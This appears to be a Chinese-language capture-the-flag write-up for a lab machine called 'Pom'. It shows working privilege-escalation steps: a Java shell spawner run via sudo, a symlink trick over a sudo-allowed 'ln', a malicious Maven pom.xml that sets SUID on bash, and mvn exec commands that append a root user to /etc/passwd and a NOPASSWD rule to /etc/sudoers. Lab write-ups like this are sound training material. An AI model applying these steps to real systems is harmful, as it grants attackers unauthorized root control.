The authenticity of host '10.241.108.62 (10.241.108.62)' can't be
established.
ED25519 key fingerprint is
SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
```

```
Warning: Permanently added '10.241.108.62' (ED25519) to the list of
known hosts.
```

```
mav1234@10.241.108.62's password:
```

```

      _
  _ _ _ _ _ | | _ _ _ _ _ _ _ _ _ _ _
 \ \ / \ / / _ \ | / _ _ / _ \ | ' _ ' _ \ / _ \
  \ v v / _ _ / | ( _ | ( _ ) | | | | | | _ _ /
   \ _ \ / \ _ _ | _ | \ _ _ \ _ _ / | _ | | _ | \ _ _ |
```

```
mav1234@Pom:~$ ls
journal  user.txt
```

ok,shell稳定了。

mav1234 ---> qc2000

```
mav1234@Pom:/home$ sudo -l
```

```
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
```

- #1) Respect the privacy of others.*
- #2) Think before you type.*
- #3) With great power comes great responsibility.*

```
For security reasons, the password you type will not be visible.
```

```
[sudo] password for mav1234:
```

```
Matching Defaults entries for mav1234 on Pom:
```

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
/sbin\:/bin
```

```
Runas and Command-specific defaults for mav1234:
```

```
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
```

```
User mav1234 may run the following commands on Pom:
```

```
(qc2000) PASSWD: /usr/bin/java
```

看到当前用户可以以 `qc2000` 用户的权限运行 `java` 命令，很明显这就是利用点了。我们写一个恶意java代码：

```
public class Exploit {
    public static void main(String[] args) throws Exception {
        ProcessBuilder pb = new ProcessBuilder("/bin/bash");
        pb.inheritIO();
        pb.start().waitFor();
    }
}
```

- `ProcessBuilder`：Java 用来创建操作系统进程的类
 - `pb.inheritIO()`：连接终端
 - `pb.start()`：真正启动这个 bash 进程，返回 `Process` 对象
 - `waitFor()`：让 Java 程序暂停等待，直到你退出 bash（输入 `exit`）
- 我们直接编译运行就好了

```
mav1234@Pom:/tmp$ javac Exploit.java
mav1234@Pom:/tmp$ ls
Exploit.class      Exploit.java      hsperfdata_mav1234
mav1234@Pom:/tmp$ sudo -u qc2000 /usr/bin/java -cp /tmp Exploit
qc2000@Pom:/tmp$
```

因为是以 `qc2000` 用户权限运行的，所以的到了该用户的权限。横向移动成功

qc2000 ----> terra536

依旧先信息收集一手

```
qc2000@Pom:~$ sudo -l
Matching Defaults entries for qc2000 on Pom:
    secure_path=/usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin

Runas and Command-specific defaults for qc2000:
```

```
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
```

```
User qc2000 may run the following commands on Pom:
```

```
(terra536) NOPASSWD: /home/terra536/ln
```

可以以 terra536 的权限运行 /home/terra536/ln，很明显就是用软件接去横向。

因为在/tmp目录所以都可以访问，可能是把公钥链接到用户目录里面，这样就可以用私钥直接登录了。

但是最后居然失败了，原因是因为没有 /.ssh/authorized_keys

```
qc2000@Pom:/tmp$ ssh-keygen -t ed25519 -f /tmp/mykey -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/mykey
Your public key has been saved in /tmp/mykey.pub
The key fingerprint is:
SHA256:jD0wXwqf5v0YkCsExou3T0uZHp8yNn9sEyRpPeL4Py4 qc2000@Pom
The key's randomart image is:
+---[ED25519 256]---+
|                    |
| .                  |
| + . o             |
| o o o=++          |
| . o ++++S.        |
| . o.*.O.          |
| . B.B...          |
| ==BEo*o           |
| .+=*=+=.          |
+-----[SHA256]-----+
qc2000@Pom:/tmp$ ls
Exploit.class      Exploit.java      hsperfdata_mav1234
hsperfdata_qc2000  mykey             mykey.pub
qc2000@Pom:/tmp$ chmod 777 /tmp/mykey.pub
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /tmp/mykey.pub
/home/terra536/.ssh/authorized_keys
ln: /home/terra536/.ssh/authorized_keys: No such file or directory
```

那我们只能换一个思路了：

1. 写一个bash脚本，内容是启动shell
2. 把bash脚本用 `/home/terra536/ln` 来把bash脚本连接到 `/home/terra536/ln` 上 (有点绕)
3. 最后执行 `/home/terra536/ln`，这样运行 `ln` 就相当于用 `terra536` 的权限启动 shell了

```
qc2000@Pom:/tmp$ chmod +x /tmp/hacker.sh
qc2000@Pom:/tmp$ cat hacker.sh
#!/bin/bash
/bin/bash -i
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /tmp/hacker.sh
/home/terra536/ln
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln
Pom:/tmp$ id
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)
Pom:/tmp$ whoami
terra536
```

横向成功

terra536 ---> root

还是先信息收集一下

```
Pom:/tmp$ sudo -l
Matching Defaults entries for terra536 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for terra536:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User terra536 may run the following commands on Pom:
    (ALL) NOPASSWD: /usr/bin/mvn
```

可以直接运行 `root 运行 /usr/bin/mvn` (这里真不太了解, 问了下ai)

这里maven可以用来提权, 因为Maven 允许在构建过程中**执行任意系统命令**

三、核心漏洞原理

Maven 的 antrun 插件

Maven 有一个叫 `maven-antrun-plugin` 的插件, 它的作用是在 Maven 构建流程中执行 Apache Ant 任务。

而 Ant 任务里, 有一个非常危险的标签: `<exec>`, 它允许**执行任意系统命令**。

xml

复制 下载 | 运行

```
<exec executable="要执行的程序">
  <arg value="参数1"/>
  <arg value="参数2"/>
</exec>
```

关键问题

当你用 `sudo` 运行 Maven 时:

- Maven 进程以 **root 权限**运行
- Maven 执行的任何 `<exec>` 命令也**继承 root 权限**

这就等于: **你可以让 root 执行任何你想执行的命令。**

我们可以利用这个来执行任意命令

这里要尝试给 `/bin/bash` 设置 SUID

```
Pom:/tmp$ cat <<EOF > /tmp/pom.xml
<project>
  <modelVersion>4.0.0</modelVersion>
  <groupId>hacker</groupId>
  <artifactId>exploit</artifactId>
  <version>1.0</version>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-antrun-plugin</artifactId>
        <version>1.8</version>
        <executions>
```

```

        <execution>
            <phase>validate</phase>
            <goals>
                <goal>run</goal>
            </goals>
            <configuration>
                <tasks>
                    <exec executable="chmod">
                        <arg value="u+s"/>
                        <arg value="/bin/bash"/>
                    </exec>
                </tasks>
            </configuration>
        </execution>
    </executions>
</plugin>
</plugins>
</build>
</project>
EOF
Pom:/tmp$ ls
Exploit.class      hacker.sh          hsperfddata_qc2000  mykey
pom.xml
Exploit.java       hsperfddata_mav1234  hsperfddata_root    mykey.pub
Pom:/tmp$ sudo /usr/bin/mvn -f /tmp/pom.xml validate
[INFO] Scanning for projects...
[INFO]
[INFO] -----< hacker:exploit >-----
-----
[INFO] Building exploit 1.0
[INFO]    from pom.xml
[INFO] -----[ jar ]-----
-----
Downloading from central:
https://repo.maven.apache.org/maven2/org/apache/maven/plugins/maven-
antrun-plugin/1.8/maven-antrun-plugin-1.8.pom

```

◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦

```

Downloaded from central:
https://repo.maven.apache.org/maven2/org/apache/maven/maven-
project/2.2.1/maven-project-2.2.1.jar (156 kB at 29 kB/s)
[WARNING] Parameter 'tasks' is deprecated: Use target instead
[WARNING] Parameter tasks is deprecated, use target instead
[INFO] Executing tasks

main:
[INFO] Executed tasks
[INFO] -----
-----
[INFO] BUILD SUCCESS
[INFO] -----
-----
[INFO] Total time: 23.360 s
[INFO] Finished at: 2026-05-01T22:51:01+08:00
[INFO] -----
-----
Pom:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 756384 Sep 24 2024 /bin/bash
Pom:/tmp$ /bin/bash -p
bash-5.2# ls
Exploit.class hacker.sh hsperfdata_qc2000 mykey
pom.xml
Exploit.java hsperfdata_mav1234 hsperfdata_root mykey.pub
target
bash-5.2# ls /root
ls: can't open '/root': Permission denied
bash-5.2# id
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)

```

先写好pom.xml然后用maven拉取，拉取的时候就执行了里面的命令加上了suid，看到加成功了，但是不知道为什么提权还是失败了。

不能这样提权，那就尝试一下添加一个用户

用root权限加一个有root权限的用户，密码设为空

这里换了 `exec-maven-plugin` 插件，就不用写 `pom` 文件了

```

bash-5.2# echo 'hacker::0:0:root:/root:/bin/bash' > /tmp/newpasswd

```

```
bash-5.2# sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -
Dexec.args="-c 'cat /tmp/newpasswd >> /etc/passwd'"
bash-5.2# su hacker
su: incorrect password
```

- root 运行 `/usr/bin/mvn`
- maven 执行 `/bin/sh`
- sh 执行 `cat /tmp/newpasswd >> /etc/passwd`
- root 往 `/etc/passwd` 里添加了一行 `hacker::0:0:root:/root:/bin/bash`
但是这里还是失败了，原因是我们设置的是空密码不能登录
最后听ai的，添加了 `terra536 ALL=(ALL) NOPASSWD: ALL` 表示 `terra536` 用户可以
免密执行所有操作，

```
bash-5.2# sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -
Dexec.args="-c 'echo \"terra536 ALL=(ALL) NOPASSWD: ALL\" >>
/etc/sudoers'"
[INFO] Scanning for projects...
[INFO]
[INFO] -----< hacker:exploit >-----
-----
[INFO] Building exploit 1.0
[INFO]   from pom.xml
[INFO] -----[ jar ]-----
-----
[INFO]
[INFO] --- exec:3.6.3:exec (default-cli) @ exploit ---
[INFO] -----
-----
[INFO] BUILD SUCCESS
[INFO] -----
-----
[INFO] Total time:  2.855 s
[INFO] Finished at: 2026-05-01T22:56:54+08:00
[INFO] -----
-----
bash-5.2# sudo su -
root@Pom:~# ls /root
root.txt
```

```
root@Pom:~# cat root.txt  
flag{root-4a29b2f65b40052a804c0cc4afb906bd}
```

提权成功